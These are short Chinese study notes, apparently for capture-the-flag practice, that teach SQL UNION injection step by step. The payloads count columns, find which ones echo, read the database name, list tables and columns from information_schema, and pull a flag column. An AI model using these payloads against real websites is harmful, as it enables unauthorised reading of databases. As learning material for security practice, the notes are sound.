SQL union联合注入

标签(空格分隔): SQL

—首先数据库的定义: 数据的组织结构分为数据库(database)、数据表(table)、数据行(row)、字段(field)

重要点:union的使用,union

查表用:1' order by (数字)#
‘//该过程的作用是查询有几列,一直查询到不能查询为止
//#号的作用是将后面的代码给注释掉

当想将一些弹出的东西给查询失效只需要:
1' union select 1,2,...(查询所弹出的数组)
//同时得到可以回显的列表
//目的还是将页面变得整洁,并且得到列

当想知道某个数据库的名字只用:
1' union select 1,2(可以回显的列表,但是要求从1一直到可以查询的列但只能到一个比如1,2),database()#
//database()函数的目的就是获取名字
//数字一定要从1开始到能回显的一个

想要获取所属的表的名字:
1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='()'--+#
//首先group concat(table name)的作用是获取 ‘数据库’ 的所有的表的名字并组合成一个字符串,简洁一点说就是知道数据表
//然后table_name: 信息模式(information_schema)中tables表的列名,包含所有表名
//查询表information_schema.tables: 系统表,存储了关于数据库中所有表的信息
//再进行一个限制table_schema=’news’: 条件限制,只查询属于”news”数据库的表

再查询他的列:
?wllm=2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+
//这样可以获得所有的列的名字

如果有的列的名字带有flag:
2'union select 1,2,flag from test_tb--+#

‘union select 1,2,flag from test_tb–+#